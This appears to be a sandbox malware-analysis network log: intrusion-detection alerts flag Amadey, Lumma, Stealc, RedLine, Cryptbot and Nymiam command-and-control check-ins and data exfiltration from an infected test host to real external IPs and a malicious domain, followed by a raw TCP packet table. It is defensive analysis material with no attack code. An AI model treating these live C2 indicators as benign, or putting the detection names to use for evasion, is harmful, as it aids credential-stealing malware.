2024-12-23T17:16:41.151819+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49730	185.215.113.16	80	TCP
2024-12-23T17:16:42.391558+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49730	185.215.113.16	80	TCP
2024-12-23T17:16:51.529332+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49732	185.215.113.16	80	TCP
2024-12-23T17:16:54.326836+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49733	31.41.244.11	80	TCP
2024-12-23T17:17:00.563665+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49734	185.215.113.16	80	TCP
2024-12-23T17:17:02.170615+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49735	31.41.244.11	80	TCP
2024-12-23T17:17:12.729524+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49738	185.215.113.16	80	TCP
2024-12-23T17:17:14.000389+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49739	185.215.113.209	80	TCP
2024-12-23T17:17:39.470106+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49767	31.41.244.11	80	TCP
2024-12-23T17:17:48.642807+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.9	49763	TCP
2024-12-23T17:17:50.022428+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.9	49780	185.215.113.43	80	TCP
2024-12-23T17:17:51.567284+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49782	31.41.244.11	80	TCP
2024-12-23T17:17:58.536086+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49790	185.215.113.43	80	TCP
2024-12-23T17:18:00.273308+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49793	31.41.244.11	80	TCP
2024-12-23T17:18:04.544994+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49797	104.21.30.13	443	TCP
2024-12-23T17:18:05.279002+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49797	104.21.30.13	443	TCP
2024-12-23T17:18:05.279002+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49797	104.21.30.13	443	TCP
2024-12-23T17:18:06.775337+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49800	104.21.30.13	443	TCP
2024-12-23T17:18:07.805208+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49800	104.21.30.13	443	TCP
2024-12-23T17:18:07.805208+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49800	104.21.30.13	443	TCP
2024-12-23T17:18:09.344249+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49802	185.215.113.43	80	TCP
2024-12-23T17:18:10.842936+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49804	31.41.244.11	80	TCP
2024-12-23T17:18:16.630765+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49810	185.215.113.43	80	TCP
2024-12-23T17:18:17.754177+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49811	104.21.30.13	443	TCP
2024-12-23T17:18:18.261413+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49812	31.41.244.11	80	TCP
2024-12-23T17:18:19.017617+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49811	104.21.30.13	443	TCP
2024-12-23T17:18:19.081482+0100	1800002	Joe Security MALWARE Nymiam - C&C DLL Key Request	1	192.168.2.9	49814	185.156.73.23	80	TCP
2024-12-23T17:18:19.798903+0100	1800003	Joe Security MALWARE Nymiam - C&C DLL Download Request	1	192.168.2.9	49814	185.156.73.23	80	TCP
2024-12-23T17:18:20.471731+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49817	104.21.30.13	443	TCP
2024-12-23T17:18:20.950428+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49814	185.156.73.23	80	TCP
2024-12-23T17:18:23.350932+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49823	104.21.30.13	443	TCP
2024-12-23T17:18:25.013164+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49824	172.67.209.202	443	TCP
2024-12-23T17:18:25.013164+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49824	172.67.209.202	443	TCP
2024-12-23T17:18:25.903387+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49824	172.67.209.202	443	TCP
2024-12-23T17:18:25.903387+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49824	172.67.209.202	443	TCP
2024-12-23T17:18:26.265458+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49825	185.156.73.23	80	TCP
2024-12-23T17:18:26.593376+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49829	104.21.30.13	443	TCP
2024-12-23T17:18:26.619061+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49827	185.215.113.43	80	TCP
2024-12-23T17:18:27.710130+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49830	172.67.209.202	443	TCP
2024-12-23T17:18:27.710130+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49830	172.67.209.202	443	TCP
2024-12-23T17:18:28.190414+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49831	172.67.180.113	443	TCP
2024-12-23T17:18:29.070691+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49830	172.67.209.202	443	TCP
2024-12-23T17:18:29.070691+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49830	172.67.209.202	443	TCP
2024-12-23T17:18:30.408383+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49836	185.156.73.23	80	TCP
2024-12-23T17:18:32.517783+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49831	172.67.180.113	443	TCP
2024-12-23T17:18:32.517783+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49831	172.67.180.113	443	TCP
2024-12-23T17:18:33.075947+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49838	104.21.30.13	443	TCP
2024-12-23T17:18:33.673557+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49839	185.215.113.43	80	TCP
2024-12-23T17:18:34.088651+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49843	172.67.180.113	443	TCP
2024-12-23T17:18:34.276955+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49844	172.67.209.202	443	TCP
2024-12-23T17:18:34.276955+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49844	172.67.209.202	443	TCP
2024-12-23T17:18:34.298391+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49842	185.156.73.23	80	TCP
2024-12-23T17:18:34.875260+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49843	172.67.180.113	443	TCP
2024-12-23T17:18:34.875260+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49843	172.67.180.113	443	TCP
2024-12-23T17:18:35.143066+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49845	31.41.244.11	80	TCP
2024-12-23T17:18:37.099336+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49847	104.21.30.13	443	TCP
2024-12-23T17:18:37.146292+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49849	172.67.209.202	443	TCP
2024-12-23T17:18:37.146292+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49849	172.67.209.202	443	TCP
2024-12-23T17:18:37.861047+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49847	104.21.30.13	443	TCP
2024-12-23T17:18:38.270217+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49851	185.156.73.23	80	TCP
2024-12-23T17:18:39.601173+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49853	172.67.209.202	443	TCP
2024-12-23T17:18:39.601173+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49853	172.67.209.202	443	TCP
2024-12-23T17:18:41.892727+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49856	185.156.73.23	80	TCP
2024-12-23T17:18:42.098744+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49857	172.67.180.113	443	TCP
2024-12-23T17:18:42.152528+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49858	172.67.209.202	443	TCP
2024-12-23T17:18:42.152528+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49858	172.67.209.202	443	TCP
2024-12-23T17:18:42.922041+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49858	172.67.209.202	443	TCP
2024-12-23T17:18:45.057167+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49862	172.67.180.113	443	TCP
2024-12-23T17:18:45.773942+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49863	185.156.73.23	80	TCP
2024-12-23T17:18:46.551110+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49867	172.67.209.202	443	TCP
2024-12-23T17:18:46.551110+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49867	172.67.209.202	443	TCP
2024-12-23T17:18:46.730422+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	49866	185.215.113.206	80	TCP
2024-12-23T17:18:47.246430+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49870	172.67.180.113	443	TCP
2024-12-23T17:18:47.560529+0100	1800002	Joe Security MALWARE Nymiam - C&C DLL Key Request	1	192.168.2.9	49871	185.156.73.23	80	TCP
2024-12-23T17:18:48.237525+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.9	49866	185.215.113.206	80	TCP
2024-12-23T17:18:48.449095+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.9	49866	TCP
2024-12-23T17:18:48.467522+0100	1800003	Joe Security MALWARE Nymiam - C&C DLL Download Request	1	192.168.2.9	49871	185.156.73.23	80	TCP
2024-12-23T17:18:48.776570+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.9	49866	185.215.113.206	80	TCP
2024-12-23T17:18:48.956230+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.9	49866	TCP
2024-12-23T17:18:49.496461+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49873	185.156.73.23	80	TCP
2024-12-23T17:18:49.869430+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49874	172.67.180.113	443	TCP
2024-12-23T17:18:50.593161+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49875	185.156.73.23	80	TCP
2024-12-23T17:18:50.647481+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49874	172.67.180.113	443	TCP
2024-12-23T17:18:51.423425+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.9	49877	185.215.113.206	80	TCP
2024-12-23T17:18:52.317576+0100	1800002	Joe Security MALWARE Nymiam - C&C DLL Key Request	1	192.168.2.9	49879	185.156.73.23	80	TCP
2024-12-23T17:18:52.402160+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49880	172.67.180.113	443	TCP
2024-12-23T17:18:52.628427+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.9	49882	172.67.209.202	443	TCP
2024-12-23T17:18:52.628427+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49882	172.67.209.202	443	TCP
2024-12-23T17:18:52.955620+0100	1800003	Joe Security MALWARE Nymiam - C&C DLL Download Request	1	192.168.2.9	49879	185.156.73.23	80	TCP
2024-12-23T17:18:53.086163+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49883	185.156.73.23	80	TCP
2024-12-23T17:18:53.316362+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49884	185.215.113.206	80	TCP
2024-12-23T17:18:53.750057+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49882	172.67.209.202	443	TCP
2024-12-23T17:18:53.988502+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49879	185.156.73.23	80	TCP
2024-12-23T17:18:54.229290+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49887	185.156.73.23	80	TCP
2024-12-23T17:18:56.121463+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49889	172.67.180.113	443	TCP
2024-12-23T17:18:56.645009+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49890	185.156.73.23	80	TCP
2024-12-23T17:18:56.886179+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49889	172.67.180.113	443	TCP
2024-12-23T17:18:57.821669+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49893	185.156.73.23	80	TCP
2024-12-23T17:18:58.029281+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49894	185.156.73.23	80	TCP
2024-12-23T17:19:01.240104+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49907	104.21.63.229	443	TCP
2024-12-23T17:19:01.590433+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49908	185.156.73.23	80	TCP
2024-12-23T17:19:01.735045+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49909	185.156.73.23	80	TCP
2024-12-23T17:19:02.033799+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49907	104.21.63.229	443	TCP
2024-12-23T17:19:02.033799+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49907	104.21.63.229	443	TCP
2024-12-23T17:19:02.658349+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49910	185.156.73.23	80	TCP
2024-12-23T17:19:03.337945+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49914	104.21.63.229	443	TCP
2024-12-23T17:19:04.241234+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49914	104.21.63.229	443	TCP
2024-12-23T17:19:04.241234+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49914	104.21.63.229	443	TCP
2024-12-23T17:19:05.940579+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49920	185.156.73.23	80	TCP
2024-12-23T17:19:06.181278+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49921	185.156.73.23	80	TCP
2024-12-23T17:19:07.274769+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49925	185.121.15.192	80	TCP
2024-12-23T17:19:07.547556+0100	1800005	Joe Security MALWARE Nymiam - C&C Software Download Request	1	192.168.2.9	49928	185.156.73.23	80	TCP
2024-12-23T17:19:09.133826+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49939	185.121.15.192	80	TCP
2024-12-23T17:19:09.485980+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49936	104.21.63.229	443	TCP
2024-12-23T17:19:09.593497+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49933	185.156.73.23	80	TCP
2024-12-23T17:19:09.721147+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49937	185.156.73.23	80	TCP
2024-12-23T17:19:11.022795+0100	1800005	Joe Security MALWARE Nymiam - C&C Software Download Request	1	192.168.2.9	49938	185.156.73.23	80	TCP
2024-12-23T17:19:12.548331+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49943	104.21.63.229	443	TCP
2024-12-23T17:19:13.123275+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49944	185.156.73.23	80	TCP
2024-12-23T17:19:13.364829+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49946	185.156.73.23	80	TCP
2024-12-23T17:19:16.965753+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49956	185.156.73.23	80	TCP
2024-12-23T17:19:18.043954+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49958	185.156.73.23	80	TCP
2024-12-23T17:19:18.631484+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.9	49963	147.45.44.224	1912	TCP
2024-12-23T17:19:18.631484+0100	2046045	ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	1	192.168.2.9	49963	147.45.44.224	1912	TCP
2024-12-23T17:19:18.865280+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49964	104.21.63.229	443	TCP
2024-12-23T17:19:19.034155+0100	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	1	147.45.44.224	1912	192.168.2.9	49963	TCP
2024-12-23T17:19:21.756459+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49971	185.156.73.23	80	TCP
2024-12-23T17:19:21.810984+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49972	185.156.73.23	80	TCP
2024-12-23T17:19:24.921830+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.9	49963	147.45.44.224	1912	TCP
2024-12-23T17:19:25.428976+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49978	185.156.73.23	80	TCP
2024-12-23T17:19:25.429756+0100	1800004	Joe Security MALWARE Nymiam - C&C Files Download Request	1	192.168.2.9	49979	185.156.73.23	80	TCP
2024-12-23T17:19:25.984684+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49981	185.215.113.206	80	TCP
2024-12-23T17:19:26.079049+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49982	104.21.63.229	443	TCP
2024-12-23T17:19:26.897076+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49982	104.21.63.229	443	TCP
2024-12-23T17:19:27.937844+0100	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	147.45.44.224	1912	192.168.2.9	49963	TCP
2024-12-23T17:19:29.361258+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.9	49963	147.45.44.224	1912	TCP
2024-12-23T17:19:29.916671+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.9	49963	147.45.44.224	1912	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 17:16:03.326009989 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:03.446145058 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:03.446315050 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:03.446561098 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:03.566163063 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:04.961054087 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:04.961190939 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:05.002063990 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:05.122361898 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:05.464479923 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:05.464569092 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:05.485918045 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:05.605559111 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.068085909 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.068103075 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.068113089 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.068124056 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.068141937 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.068152905 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.068167925 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.068255901 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.068255901 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.068311930 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.068377018 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.068388939 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.068401098 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.068413019 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.068413019 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.068547010 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.068588972 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.068588972 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.187865973 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.188033104 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.188065052 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.188114882 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.191992044 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.192086935 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.192094088 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.192173004 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.200443029 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.200524092 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.200550079 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.200719118 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.209158897 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.209208012 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.209248066 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.209315062 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.217331886 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.217518091 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.217838049 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.217906952 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.225596905 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.225645065 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.225691080 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.225812912 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.234107971 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.234205961 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.234230042 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.234329939 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.243024111 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.243136883 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.243166924 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.243187904 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.250910044 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.250987053 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.251030922 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.251086950 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.259268045 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.259370089 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.259473085 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.259617090 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.267664909 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.267782927 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.267839909 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.267906904 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.276153088 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.276287079 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.307707071 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.307771921 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.307821035 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.307821035 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.311868906 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.311959028 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.318928957 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.318950891 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.319001913 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.319001913 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.321089983 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.321156025 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.321173906 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.321202993 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.329441071 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.329615116 CET	80	49708	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:06.329651117 CET	49708	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:06.329678059 CET	49708	80	192.168.2.9	185.215.113.16
